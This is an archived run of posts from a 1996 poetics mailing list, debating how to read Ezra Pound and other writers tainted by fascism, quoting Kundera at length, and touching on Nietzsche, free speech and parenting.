                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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374. Tony Green
Re: avant-garde
Sun 17 Mar 1996

---

how abt

3 NONSTOP SWINGING PROTEAN MOTHERFUCKERS
HEADING FOR THE 3RD ON THE GOOD FOOT

?

---
christopher daniels <[redacted]> 3.17.96 12:19:28 pm

another three or four lines of title and you would really screw up the library data-entry machinery

Tony Green,
e-mail: [redacted]

↑ Index

375. Gabrielle Welford
Re: dadaists & mamaists
Sun 17 Mar 1996

My little boy called everyone "ada" for a long time. Both the kids call us very much whatever comes into their minds, not all of it complimentary by a long shot! :-) Gab.

↑ Index

376. chris daniels
Re: voting on a new usenet group...
Sun 17 Mar 1996

joe ---

this is a very tough issue --- i wld have voted no myself, also w/ misgivings --- freedom of speech is exactly what it means

but does free speech include the right to call me a subhuman kike

to make a frightened and confused teenager cry on her way into an abortion clinic

to butt in on a gay/lesbian/bisexual chat group w/ things like: you faggots are gonna burn in hell

????????????????

i was waiting for the bus in downtown oakland a few years back. there was a right-to-lifer standing there w/ a megaphone and a large placard covered w/ photographs of an aborted fetus. after a few minutes of enduring his haranguing, an elderly black woman started shouting at him: "you satan's helper! you satan's helper!" at that the crowd at the bus stop joined in and the guy had to leave.

so maybe i wld actually vote yes and then spend a few minutes every day sending them posts in wch i wld calmly and as irrefutably as possible call them on their shit (with my signature carefully removed, of course!)
---------- christopher daniels <[redacted]> 3.17.96 12:03:22 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

377. **John E. Matthias**
Pound & Fascism, etc.
Sun 17 Mar 1996

I don't know...Ric Caddel quotes an eloquent letter from Bunting to Pound that couldn't be improved on. But then Bunting also wrote of the Cantos: "There are the Alps.... / you will have to go a long way round / if you want to avoid them." Wendy Battin says "I don't think it's safe to ignore this man." It's also not possible. How can someone choose not to read "The River-Merchant's Wife," "Hugh Selwyn Mauberley," Canto 2, Canto 47, Canto 81, etc.

I've been reading Milan Kundera's _Testaments Betrayed_ these last couple of days & found some good things about the trials, in every sense, of writers in our century. In the Chapter called "Paths in the Fog" Kundera's focus is Kafka. On pp. 225-240, however, he begins to generalize with a rather surprising paragraph on Orwell's _1984_:

"The pernicious influence of Orwell's novel resides in its implacable reduction of a reality to its political dimension alone, and in its reduction of that dimension to what is exemplarily negative about it. I refuse to forgive this reduction on the grounds that it was useful as propaganda in the struggle against totalitarian evil. For that evil is, precisely, the reduction of life to politics and of politics to propaganda. So despite its intentions, Orwell's novel itself joins in the totalitarian spirit, the spirit of propaganda. It reduces (and teaches others to reduce) the life of a hated society to the simple listing of its crimes."

A little later he goes on like this, reaching back again to Kafka:

"Tribunal: this does not signify the juridical institution intended for punishing people who have violated the laws of a state; the tribunal (or court) in Kafka's sense is a power that judges, that judges because it is a power; its power and nothing but its power is what confers legitimacy on the tribunal...

"The trial's memory is colossal, but it is a very specific memory, which could be defined as _the forgetting of everything not a crime_. The trial thus reduces the defendant's biography to _criminography_; Victor Farias (whose _Heidegger and Nazism_is a classic example of criminography) locates the roots of the philosopher's Nazism in his early youth, without the least concern for locating the roots of his genius; to punish someone accused of ideological deviations, Communist tribunals would put _all_ his work on the index (thus, for instance,

the ban on Lukacs and Sartre in Communist countries covered even their pro-Communist writings). "Why are our streets still named for Picasso, Aragon, Eluard, Sartre?" a Paris paper asked in a 1991 post-Communist intoxication; it's tempting to answer: because of the value of their works! But in his trial against Europe, Sartre said exactly what values mean now: "our cherished values are losing their wings; looked at closely, every one of them is blood-stained"; values stained are values no longer; the spirit of the trial is the reduction of everything to morality; it is absolute nihilism in regard to craft, art, works..."

"For nearly seventy years Europe lived under a trial-regime. From among the great artists of the century, how many defendants...I shall mention only those who had some significance for me. Starting in the twenties, there were those hounded by the tribunal of revolutionary morality: Bunin, Andreyev, Meyerhold, Pilnyak, Veprik (a Jewish-Russian musician, a forgotten martyr of modern art; he dared to defend Shostakovich's opera against Stalin's condemnation; they stuck him in a camp; I remember his piano compositions, which my father liked to play), Mandelstam, Halas (the poet was adored by Ludvik in _The Joke_; hounded after his death for gloominess seen as counterrevolutionary). Then there were the quarry of the Nazi tribunal: Broch (he gazes at me, pipe in mouth, from a photo on my worktable), Schoenberg, Werfel, Brecht, Thomas and Heinrich Mann, Musil, Vancura (the Czech writer I most love), Bruno Schulz. The totalitarian empires and their bloody trials have disappeared, but the _spirit of the trial_lingers as a legacy, and that is what is now settling scores. Thus the trial strikes at: those accused of pro-Nazi sympathies: Hamsun, Heidegger (all Czech dissident thought, Patocka most notably, is indebted to him), Richard Strauss, Gottfried Benn, von Doderer, Drieu la Rochelle, Celine (in 1992, a half century after the war, an indignant official refused to designate his house a historical monument); supporters of Mussolini: Malaparte, Marinetti, Ezra Pound (the American military kept him, like an animal, in a cage for months under the blazing Italian sun; in his Reykjavik studio, the painter Kristjan Davidsson showed me a large photo of him: 'For fifty years it has gone with me everywhere I go'); the Munich appeasers: Giono, "Alain, Morand, Montherlant, St.-John Perse (a member of the French delegation to the Munich conference, he was closely involved in the humiliation of my native country); then, the Communists and their sympathizers: Mayakovsky (who today remembers his love poetry and his amazing metaphors?), Gorky, Shaw, Brecht (who is thereby undergoing his second trial), Eluard (that exterminating angel who used to decorate his signature with a drawing of crossed swords), Picasso, Leger, Aragon (how can I forget that he offered me his hand at a difficult time in my life?), Nezval (his self-portrait in oils is on the wall of my bookshelves), Sartre. Some of these people are undergoing a double trial, first accused of betraying the revolution, then accused for services they had rendered earlier:

Gide (in the old Communist countries, the symbol of all evil), Shostakovich (to atone for his difficult music, he manufactured rubbish for the regime's needs; he maintained that for the history of art a worthless thing is null and void; he didn't know that for the tribunal it is the worthlessness itself that counts), Breton, Malraux (accused yesterday of having betrayed revolutionary ideals, accusable tomorrow of having held them), Tibor Dery (some works of this Communist writer, who was imprisoned after the Budapest massacre, were for me the first great literary, nonpropagandistic reply to Stalinism). The most exquisite flower of the century, the modern art of the twenties and thirties, was even triply accused: first by the Nazi tribunal as _Entartete Kunst_, "degenerate art"; then by the Communist tribunal as "elitist formalism alien to the people"; and finally by the triumphant capitalist tribunal as art steeped in revolutionary illusions.

"How is it possible that the Soviet Russian chauvinist, the maker of versified propaganda, he whom Stalin himself called "the greatest poet of our epoch"--how is it possible that Mayakovsky is nevertheless a tremendous poet, one of the greatest? Given her capacity for enthusiasm, her emotional tears that blur her view of the outside world, wasn't lyric poetry--that untouchable goddess--doomed one fateful day to become the beautifier of atrocities, their "warm-hearted maidservant" (Baudelaire)?....To be a true poet and at the same time to support (like Mayakovsky) an incontestable horror is a scandal--in the sense of an unjustifiable, unacceptable event, one that contradicts logic and yet is real. We are all unconsciously tempted to dodge scandals, to behave as though they don't exist. That is why we prefer to say that the great cultural figures tainted with the horrors of our century were bastards; but it isn't so; if only out of vanity, aware that they are seen, looked at, judged, artists and philosophers are anxious to be decent and courageous, to be on the right side, to be right. That makes the scandal still more intolerable, more inexplicable. If we don't want to leave this century just as stupid as we entered it, we must abandon the facile moralism of the trial and think about this scandal, think it through to the bottom, even if this should lead us to question anew all our certainties about man as such.

"But the conformism of public opinion is a force that sets itself up as a tribunal, and the tribunal is not there to waste time over ideas, it is there to conduct the investigations for trials. And as the abyss of time widens between judges and defendants, it is always a lesser experience that is judging a greater. The immature sit in judgment on Celine's erring ways without realizing that because of these erring ways, Celine's novels contain existential knowledge that, if they were to understand it, could make them more adult. Because therein lies the power of culture: it redeems horror by transforming it into existential wisdom. If the spirit of the trial succeeds in annihilating this century's culture, nothing will remain of us but a memory of its atrocities sung by a chorus of children."

I didn't mean to type out so much; nor do I agree with everything Kundera says. But this is certainly all worth thinking about in the context of the continuing trial of poets like Ezra Pound.

John Matthias

↑ Index

378. Tony Green
Re: what is poetics
Sun 17 Mar 1996

" regarding New Zealand rush hour: I hope you're not reading your POETICS while driving (or herding sheep) - HGould"

Oh yes, I ride my sheep across the Harbour Bridge but it hasn't got enough revs to change lane. It can't compete with people on ostriches, deer and llamas, so gets stuck by the Elephant House for twenty minutes every morning. It drives me up the wall, like a good NZ poet.

Tony Green,
e-mail: [redacted]

↑ Index

379. chris daniels
Re: avant-garde
Sun 17 Mar 1996

---

how abt

3 NONSTOP SWINGING PROTEAN MOTHERFUCKERS
HEADING FOR THE 3RD ON THE GOOD FOOT

?

---
christopher daniels <[redacted]> 3.17.96 12:19:28 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

380. chris daniels
Re: Bury Fascist Ezra Pound
Sun 17 Mar 1996

tony ---

right on

yeah we'll knife em stack em up n watch em burn n then we'll feel
so good abt ourselves, won't we?
---
christopher daniels <[redacted]> 3.17.96 12:26:07 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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381. chris daniels
Re: dadaists & mamaists
Sun 17 Mar 1996

i don't have kids myself, and my parents were none the best, to say the least, but i think you all agree that it's much more important to show yr kids yr own tolerance self-respect honesty compassion, all that good stuff, than it is to worry abt what they call you. i'm not criticizing you guys at all, please don't think so, and i have no arguments w/ any of you --- still less am i accusing you of ANYTHING ---just want to put in my (uninformed) 2 cents re yr very complex courageous beautiful utterly necessary (to me frightening!) lives as parents

re nuclear family:

freud (i have a feeling i'll get slammed for this) said

humanity will never be happy until it realizes that the family is it's worst enemy

how's that for a can of worms?
---
christopher daniels <[redacted]> 3.17.96 12:33:55 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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382. Tony Green
Re: 16 Oz or
Sun 17 Mar 1996

From: Wystan Curnow <[redacted]>

Let's make a BAD FOLKS List.

Let's see, who we got so far:
Pound
Frost
Baraka
Hemingway
There are so many bad folks in the world and so much badness to learn from.More names please.
Wystan

How's abt Wyndham Lewis for his persecution of David Bomberg and of other Jews at the Slade (see R.Cork's monograph on Bomberg). Don't try to read Wyndham Lewis, don't even thinbk abt it. And don't let me hear anyone make demeaning remarks about Bomberg's paintings anymore, such as "Well, in that David Sylvester show at the Tate, Bomberg turned out to be not really all that exciting..." which cd be heard in responsible quarters in London.

And Nicolas Poussin for following Roman fashionable anti-semitism in his painting of the Last Supper for Cassiano dal Pozzo, where Judas is characterised as a Jew (in distinction from the other Apostles)...

Do you think I don't know how to point the fimger?

And, Tony Green, not for anti-semitism, but for his disgusting way of life.

And Wystan Curnow, well now, we all know what he gets up to.

Tony Green,
e-mail: [redacted]

↑ Index

383. **Gabrielle Welford**
Re: kids without godparents
Sun 17 Mar 1996

On Sun, 17 Mar 1996, Gabrielle Welford wrote:

> *I agree with all you say eryque*

oooops! Sorry emily. I misread your (for eryque) as (from eryque). Gab.

↑ Index

384. **Gabrielle Welford**
this list
Sun 17 Mar 1996

I just want to say that I am proud and umble to be on this list. What a wonderful, compassionate, thoughtful crowd dealing with explosive topics. Gab.

↑ Index

385. **Jerry Rothenberg**
Re: Pound & Fascism, etc.
Sun 17 Mar 1996

Bravo John Matthias and Milan Kundera.

Bravo Ezra Pound without whose poetry ours likely wouldn't be.

(Brooding on this for a while: the rush to condemnation.
More later, as it comes.)

Jerome Rothenberg

↑ Index

386. **Joe Amato**
Re: voting on a new usenet group...
Sun 17 Mar 1996

chris, yeah, i hear you... what turned it for me was simply this: that this is in fact not a censorship issue exactly, that usenet was set up to permit formation of new news groups in accordance with things participatory and democratic... now i understand how consensus is often abused, how democracy can become tyranny... nevertheless there's all sortsa precedent here, and no doubt the neo-nazis have and will continue to have net outlets in any case...

so mebbe this goes back indirectly to that remark i made to the effect of 'not letting the fascist' out, and subsequent glosses by you, chris s., gab (i was aware btw of my choice of pronoun---was merely using a 'him' for a change in an obviously negative context)... seems to me we can't 'bottle up' the neo-nazis, and in this respect the fascists will have their say (perhaps even the fascists in us)... now we may attempt to disarm same etc.... but this is no reason to encourage the fuckers either...

anyway, i hear you...

best,

joe

↑ Index

387. **Eryque Gleason**
Re: Bury Fascist Ezra Pound
Sun 17 Mar 1996

---

chris sd:

> *was it raymond federman said abt beckett:*
>
> *the more sam rubs our noses in the shit the more we love it*
>
> *by quoting wch i mean to say (along w/ ron, eryque, joe, alan,*
> *wendy, emily, all us chris's and EVERYBODY else and i mean EVERYBODY):*
>
> *the more you look, the more you learn. the more you learn, the more*
> *you know. the more you know, the more you can change IF YOU HAVE THE*
> *CAPACITY to change.*
>
> *olson:*
>
> *what does not change/ is the will to change*
>
> *i wld change that "does" to "must"*
> *for what it's worth*

i realize this is a little behind the game now, but anyway:

yay chris! damn straight!

eryque

↑ Index

388. **Eryque Gleason**
Re: learning about the other: forgive buut never forget.
Sun 17 Mar 1996

---

james's comments seem just about right on the money. (been a lot of good comments of late, sometimes i think we're all loopier'n a bunch of loons! :-)

i grew up (am growing) in (one of) the first generations to be taught to believe that everyone's okay, and by people that really think so. the problem is that we were almost never taught how to get to a point where we all get along. we were/are taught to basically ignore stereotypes and then everything will be groovy. the suburb i grew up in was almost all white, there was a section of town (past the tracks) where almost all the black kids went home to, i don't remember any hispanic people around. somehow living in such a lily-white world we were supposed to learn to think of everyone on the same level. every time i turn around i find misogynist, patriarchal, racist, and other bigoted nastyist tendancies in myself, and i think they're in most people who look inside far enough. i've been lucky enough to keep these tendancies inside most of the time, keep them from hurting others or myself. i'm glad for that, but there are times when i wish these tendancies were more towards the surface, where i could deal with them more easily.

so now the problem is, how do i (we) get to a point where we truly are groovy? what do we do with pound after we read him?

if no one finds a solid point here, don't worry, neither do i. i've been doing a lot of soul-searching lately, if i knew what i was saying, it wouldn't be that much of a search, would it?

erYque

↑ Index

389. **Aldon L. Nielsen**
Re: Imamu Redo
Sun 17 Mar 1996

---

let me try this quickly -- 1) NOTHING I have said suggests deleting or slighting any period of Baraka's work -- In fact, one of my complaints about the new selected, aired in this space some months ago, was its leaving out of such texts as _Spirit reach_ ;;; What I am asking is that we read and critique ALL OF IT --

2) please read that Derrida on F.N. as I can't summarize here -- BUT Please also note: the fact that a text can have infinite meanings DOES NOT mean it can be made to mean anything -- If I believed that I would no longer see much purpose to writing;;; If it were so easy for Nazis, for example, to twist ANYTHING to mean what they wanted it to, they might as easily have twisted

somebody else,,,, what is needed is a reading precisely of the mechanisms by which F.N.'s texts can be supportive of both Nazi and antifascist readings -- This is not a relativist argument -- It is possible to examine competing readings within the historical and political contexts of their production without simp[ly throwing up one's hands and saying that "bad" people can twist any text to mean anything

↑ Index

390. Gabrielle Welford
Ed Fallon
Sun 17 Mar 1996

Someone on dada (yes, I am an addict. I subscribed) sent copy of the speech by Iowa Rep. Ed Fallon given in Feb. on voting for/against gay marriage in Iowa. It is pretty superb. It's long, so if anyone wants it, let me know. Gab.

↑ Index

391. chris daniels
Re: Pound & Fascism, etc.
Sun 17 Mar 1996

---

i just want to clarify an earlier post of mine:

for several years i read pound incessantly and was enthralled by the poetry and the man. it is now, much later on, that i can only read the pisan cantos. whatever pound was, he was also one of the great poets, period. doesn't "mauberly" show pound's extreme pain and sense of loss, and so show us a way into comprehending him? ---------- christopher daniels <[redacted]> 3.17.96 1:06:39 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

392. **chris daniels**
FW: Re: Pound & Fascism, etc.
Sun 17 Mar 1996

--- On Sun, 17 Mar 1996 12:57:21 PST Jerry Rothenberg
<[redacted]> wrote:

>Bravo John Matthias and Milan Kundera.
>
>Bravo Ezra Pound without whose poetry ours likely wouldn't
be.

I HEARTLY JOIN IN W/ WITH YR HUZZAHS.

> *(Brooding on this for a while: the rush to condemnation.*
> *More later, as it comes.)*
>
> *Jerome Rothenberg*

---
christopher daniels <[redacted]> 3.17.96 1:03:40 pm

q: "how can you be revolutionary when 20 years ago they
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a: "free yr mind and yr ass will follow."

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393. **chris daniels**
Re: learning about the other: forgive buut never forget.
Sun 17 Mar 1996

---

eryque wrote:

> *so now the problem is, how do i (we) get to a point where we truly are*
> *groovy? what do we do with pound after we read him?*

one thing maybe we could do is to marvel at the protean nature
of humankind
---
christopher daniels <[redacted]> 3.17.96 1:31:14 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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394. chris daniels
FW: this list
Sun 17 Mar 1996

--- On Sun, 17 Mar 1996 10:47:38 -1000 Gabrielle Welford
<[redacted]> wrote:

> *I just want to say that I am proud and umble to be on this list. What a wonderful, compassionate, thoughtful crowd dealing with explosive topics. Gab.*

me, too, gab
---
christopher daniels <[redacted]> 3.17.96 1:34:08 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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395. chris daniels
Re: voting on a new usenet group...
Sun 17 Mar 1996

---

joe ---

yeah, i hear you , too
---
christopher daniels <[redacted]> 3.17.96 1:41:49 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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396. chris daniels
Re: learning about the other: forgive buut never forget.
Sun 17 Mar 1996

---

eryque ---

loopier than loons kinda goes w/ the territory, don't it just?

i gotta run now ---

going to hang out w/ my good friend and ex-, gigi gamble,
who is a scando-latino-bisexual-wonder-woman (learning abt
the other), whom i love dearly

flyin th freak flag
i remain
til next we meet
yr hmbl & obt etc

dogboy
---
christopher daniels <[redacted]> 3.17.96 1:43:35 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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397. **chris daniels**
badfolks list
Sun 17 Mar 1996

---

i gotta nominate myself for this list as well, for all the vicious things i've done to myself and others in my very checkered past.

re wyndham lewis --- yeah, but wasn't he good friends w/ jacob epstein?

lewis is another writer i was enthralled w/ for a while.
---
christopher daniels <[redacted]> 3.17.96 1:54:29 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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398. **Pierre Joris**
Re: Bury Fascist Ezra Pound
Sun 17 Mar 1996

Gab wrote: Has anyone on the list read Wilhelm Reich? He was dealing with exactly these things. He was and still is very controversial--I think the only American to have his books burned by the government. The most radical activist can be a fascist to the kids at home. Where does it start?

Reich's MASS PSYCHOLOGY OF FASCISM is still an excellent book -- as are a number of other books by Reich who did indeed die in jail, harassed to death by the FBI -- even if some of his own late ideas (the orgone stuff -- though the cancer biopathy material is still worth looking at) went kinky. The trajectory of the

life & career is an amazing testimony of this century's madness -- & greatness.
-- Pierre

==========
========== Pierre Joris | "Form fascinates
when one no longer has the force Dept. of English | to understand force
from within itself. That SUNY Albany | is, to create." -- Jacques Derrida
Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a lan-
guage." email: | -- Friedrich Holderlin [redacted]|
==========
==========

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399. **chris daniels**
Re: Ed Fallon
Sun 17 Mar 1996

---

gab ---

please send me a copy of that speech

thanks
---
christopher daniels <[redacted]> 3.17.96 2:21:59 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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400. **Joe Amato**
Re: Pound & Fascism, etc.
Sun 17 Mar 1996

---

re john's helpful extract from kundera:

there's a lot about kundera TOO that i've a problem with in fact!... i'm not just trying to be difficult here, and i can appreciate that many of you (jerry, chris, others) may find k's writing invigorating... i don't wish to rush a judgment

here, but there's always seemed to me to be a not-so-latent (male) sexism at work in his work (such as _the book of laughter & forgetting_---and i don't *think* there were any women artists in those excerpts, were there?)... i can recall trying once to broach this issue with a colleague of mine, and the resistance i experienced at that time to any mention of k's authorial responsibility...

now i like some of k's remarks (as excerpted) re the paradoxes of judgment/"trial" (although i think he's wildly off on _1984_)... but i'm also struck by how this can become a dodge, a way of avoiding even talking about, say, the fascism of pound (which latter would seem, thankfully, NOT to be the rule of thumb in these parts, and which, for example, charles' experience at yale speaks to)... just look at the way k frames his argument, for example: "the immature sit in judgment on celine's erring ways..."

excuse me?... "the immature"?...

i mean, i'm interested in the context (i can be such a bore, i know) in which kundera's work is articulated/received... and so much of our current political climate strikes me as conservative, so much so that i'm struck by how k's remarks can be taken to support a conservative approach to what should be taught, and how... for those on the outside of academe, you may be aware that many of us on the inside are experiencing incredible pressure to be 'less radical,' which generally translates in more extremist jargon to claims that we radical folks are "indicting" various authors for their passe political sentiments... that is, there's pressure on many of to 'return' to a more presumably blessed state of literary-critical rapprochement (evidently, from my vantage point, one more amenable to corporate mergers)... ergo those of us who lay claim, however diversely, to represent more progressive-liberal agenda are accused of a "politically correct" platform by (generally) the right (latter term used unadvisedly)... which often ends up filtering into more popular media to make us look like eager zealots whose sole purpose is to ideologize and deflate Great Literature in order to perpetuate our self-interested ends (*whatever* these may be)... not to excuse abuses from the left, but, uhm---

sorry to go on so... but i think that judgment as well as critiques of same need to be rendered carefully, but nonetheless need to be rendered...

best,

joe

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401. **Paul Naylor**
Nourbese Philip
Sun 17 Mar 1996

Peter -- your reading of the tension between text and essence in Philip's essay and work is right on the mark. As she puts it, her use of the term "i-mage" "does not represent the increasingly conventional deconstruction of certain words, but draws on the Rastafarian practice of privileging the 'I' in many words." When she was here in Memphis last November, I asked her to comment on this passage in relation to one by bell hooks in "Postmodern Blackness": "Should we not be suspicious of postmodern critiques of the 'subject' when they surface at a historical moment when many subjugated people feel themselves coming to voice for the first time." Neither Philip nor hooks are arguing that we dismiss deconstructive or postmodern critiques of the subject. hooks goes on to argue (and I think Philip would agree) that "Postmodern culture with its decentered subject can be the space where ties are severed or it can provide the occasion for new and varied forms of bonding." I think that either/or speaks to the tension not only in Philip's work but in most of what gets termed postmodernism -- the tension that helps produces "new and varied forms of bonding." (I hope that doesn't smell too offensively Hegelian, to borrow Nietzsche's comment on his _Birth of Tragedy_.) For Philip, there does seem to be a resolution of that tension, although it is a kinetic rather than static resolution. Here's the final paragraph of "The Absence of Writing or How I Almost Became a Spy," which opens up _She Tries Her Tongue_:

"For the many like me, black and female, it is imperative that our writing begin to recreate our histories and myths, as well as integrate that most painful of experiences -- loss of our history and our word. The reacquisition of power to create in one's own i-mage and to create one's own i-mage is vital to this process; it reaffirms for us that which we have always known, even in those most darkest of times which are still with us, when everything conspired to prove otherwise -- that we belong most certainly to the race of humans."

So the "I" does go through the postmodern process of critique or deconstruction, but it doesn't end there but with the possibility of "new and varied forms of bonding" -- like this list.

Paul Naylor
MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND

in%"[redacted]"
in%"[redacted]"

↑ Index

402. **Emily Lloyd**
Kids, Frieddy, etc.
Sun 17 Mar 1996

At 10:44 AM 3/17/96 -1000, Gabrielle Welford wrote:
>On Sun, 17 Mar 1996, Gabrielle Welford wrote:
>
>> I agree with all you say eryque
>
>oooops! Sorry emily. I misread your (for eryque) as (from eryque). Gab.
>

:) Gab: eryque probably needs the apology more than me. The commune was--maybe this is telling, maybe not--a small lesbian commune in MD. I agree wholeheartedly about kids needing many different adults in their lives. I do think the nuclear family is a problematic set-up (hat-tip to Freud and Chris); it doesn't lend itself to exposure to lots of different kinds of folks (on the other hand, a lesbian commune doesn't really either). What can we do if we don't move to communes? I don't know. Have lots of diverse friends. Invite them over. And don't send the kids to bed when we do. I'd, please, like a copy of that Fallon speech.

Eryque: about us whiteys who grew up in lily-white neighborhoods trying to deal with the racism we've been taught/have internalized: there's a group in DC called DC White Lesbians Against Racism Everywhere. Is this wacky/infuriating? A black woman wanted to go to their meeting and was barred. They wanted to be in an all-white space so they could talk uninhibitedly about their racism w/o feeling ashamed. I get the point, I definitely do, but I think it's hugely ironic/saddening/maddening that it ended up that way. Lily-white neighborhoods will hopefully be a thing of the past soon. Lily-white neighborhoods are another place I would prefer not to raise my (theoretical) kids.

Aldon: true, not ANY text can be manipulated by nazis. But truly, a thorough, honest reading of Nietzsche yields nothing in the way of Pro-nazism. My guess is that his choice of the word "Overman" (Ubermensch) is what did it. He talked about the creation of a world of "overmen," and the nazis took one glance at the word and thought "yup, like an aryan nation." But he was using it to mean "enlightened being" (insofar as one finds Nietzsche's prescriptions enlightening)..."Bodhisattva" (sp?) could be warped, then, to nazi purposes.

"Overman" was an unfortunate word choice; overmen them(nonexistent)selves would have nothing to do with a nazi state, or any kind of state.

Everyone: haven't seen "Il Postino," but rented last night Jean Luc-Godard's grapple with "King Lear," and recommend it. It's the kind of movie that makes you think of big words, but it's great anyway-- deals w/everything from imagism to ancestors to text-im-purity to re & de construction etc. Also, weirdly enough, it stars Molly Ringwald. King Lear is a mafia don. e (from emily) :)

~~~~~~
Emily Lloyd [redacted]

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403. **Steve Carll**
Re: switzerland
Sun 17 Mar 1996

The new issue (#4) of _Lyric &_
Jacques Derrida: _Of Spirit: Heidegger and The Question_
Aris Fioretos, ed: _Word Traces: Readings of Paul Celan_
E.E. Cummings: _Eimi_
Larry Eigner: _Selected Poems_ (Oyez)
Bill Watterson: _Attack of the Deranged Mutant Killer Monster Snow Goons_ (Calvin and Hobbes)
and a bunch of Burning Deck titles I just received:

Brita Bergland, _The Rebirth of the Older Child_
Claire Needell, _Not a Balancing Act_
Claude Royet-Journoud, _i.e._
Pam Rehm, _Piecework_ and
Jackson MacLow, _The Virginia Woolf Poems_

Steve

↑ Index

404. **Steve Carll**
Kundera
Sun 17 Mar 1996

Thanks John Matthias for the long Kundera quote. I do agree with him about the reduction to politics and the notion of the trial as "the forgetting of everything except guilt."

And Joe, your point about how such a concept might be used to stifle critique from the left is well taken, but to me it doesn't negate the resonance of truth in
~~~~~~

the thought itself (I'm aware that you weren't trying to do this). In many ways, the right and the left are equally culpable in the reduction of human beings to their "positions" on certain political "issues", and while I'm quite a bit more sympathetic to the left when it does this, I don't see any real lasting solutions to the problems we face as human beings being solved by this reduction.

Humanity is an extraordinarily complex critter, and I'm not sure that there's a politics out there that gives that fact the full respect, empathy, and imagination it demands. In trying to develop something that will, we of course run massive risks and make ourselves totally vulnerable to reduction ourselves.

Steve

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405. Paul Naylor
Uber-Freddy
Sun 17 Mar 1996

I agree with you, Emily; I don't think you can find pro-nazism in Nietzsche's texts -- sexism and biologism, yes, but nazism, no. I think the term Ubermensch has it's origins close to home -- in Emerson's term Oversoul. Emerson was a great favorite of Nietzsche's. "Emerson with his essays has been a good friend and cheered me up even in black periods: he contains so much skepsis, so many 'possibilities' that even virtue achieves espirit in his writings. A unique case! Even as a boy I enjoyed listening to him. _Tristram Shandy_ also belongs to my earliest favorites . . ." Thus Spoke Frieddy.

Paul Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

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406. **tosh berman**
Re: Bury Fascist Ezra Pound
Sun 17 Mar 1996

Fascist work is always interesting. I cannot imagine why one would want to avoid that type of work. I really do think that there is some form of fascism in all of us. Especially ones who want to ban or restrict thoughts - pure and ugly.

tosh

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407. **Karen or Peter Landers**
Re: 16 Oz or (bow outs)
Sun 17 Mar 1996

On Fri, 15 Mar 1996 09:56:46 I wrote:

> *Another reason this is a problem, for others probably as much as me, is because I want to draw a historical lineage. It's naive, I know, but the line from my favorite poets back to Whitman goes through Pound. If I look at it: Whitman - Pound - Zukofsky - Olson - (here it explodes into various Black Mountain and L=A=N=G=U=A=G=E people), I can see where the weakest link is in the chain. It is Pound. Compare any part of the Cantos to any part of "A" or Maximus, it really pales in comparison.*

Dear Self,

Dickinsen - Williams - Zukofsky makes more sense.
It is also neater.

Peter
[redacted]

↑ Index

408. **Emily Lloyd**
Re: Uber-Fried
Sun 17 Mar 1996

Yes, lots of Emerson in Nietzsche. And lots of Lady MacBeth.

Switz: all my ROOF book orders that just came in the mail. :)

~~~~~~

Emily Lloyd [redacted]

↑ Index
~~~~~~

409. chris daniels
Re: Pound & Fascism, etc.
Sun 17 Mar 1996

---

joe

my huzzahs were directed toward the SPIRIT of jerry's bravos, not necessarily at kundera himself. i'm not all that familiar w/ kundera, to tell the truth.

chris
---
christopher daniels <[redacted]> 3.17.96 8:37:26 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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410. Rod Smith
Re: dadaists & mamaists
Mon 18 Mar 1996

Emily L. wrote:
>Christopher F--that's *really* interesting, about "da" "ma" & your daughter.
